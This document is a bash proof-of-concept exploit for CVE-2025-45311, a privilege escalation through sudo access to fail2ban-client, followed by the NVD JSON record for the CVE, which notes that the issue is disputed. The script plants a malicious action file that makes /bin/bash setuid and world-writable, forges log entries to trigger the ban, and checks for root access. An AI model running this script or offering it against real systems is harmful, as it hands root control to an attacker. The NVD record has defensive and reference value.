CVE-2025-45311

#!/bin/bash # CVE-2025-45311 PoC - fail2ban-client Privilege Escalation # Assumptions: Attacker has low-privilege access and sudo rights to fail2ban-client # Step 1: Create a custom action configuration cat > /tmp/evil_action.conf << 'EOF' [Definition] actionstart = touch /tmp/fail2ban_pwned actionban = chmod 4777 /bin/bash actionunban = rm -f /tmp/fail2ban_pwned EOF # Step 2: Configure jail to use the malicious action sudo fail2ban-client set <jail_name> action add /tmp/evil_action.conf # Step 3: Trigger the ban by generating malicious log entries for i in {1..10}; do echo "$(date) authentication failure for root from attacker" >> /var/log/test.log done # Step 4: Wait for fail2ban to process and trigger the action sleep 5 # Step 5: Verify privilege escalation ls -la /bin/bash # If successful, /bin/bash should have setuid bit set (drwsrwxrwx) # Cleanup sudo fail2ban-client set <jail_name> action delete /tmp/evil_action.conf

{"cve": {"id": "CVE-2025-45311", "sourceIdentifier": "[email protected]", "published": "2025-11-26T16:15:47.663", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["disputed"]}], "descriptions": [{"lang": "en", "value": "Insecure permissions in fail2ban-client v0.11.2 allows attackers with limited sudo privileges to perform arbitrary operations as root. NOTE: this is disputed by multiple parties because the action for a triggered rule can legitimately be an arbitrary operation as root. Thus, the software is behaving in accordance with its intended privilege model."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://gist.github.com/R-Security/1c707a08f9c7f9a91d9d84b5010aaed2", "source": "[email protected]"}, {"url": "https://github.com/fail2ban/fail2ban/issues/4110", "source": "[email protected]"}, {"url": "https://packetstorm.news/files/id/189989", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2025/12/03/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}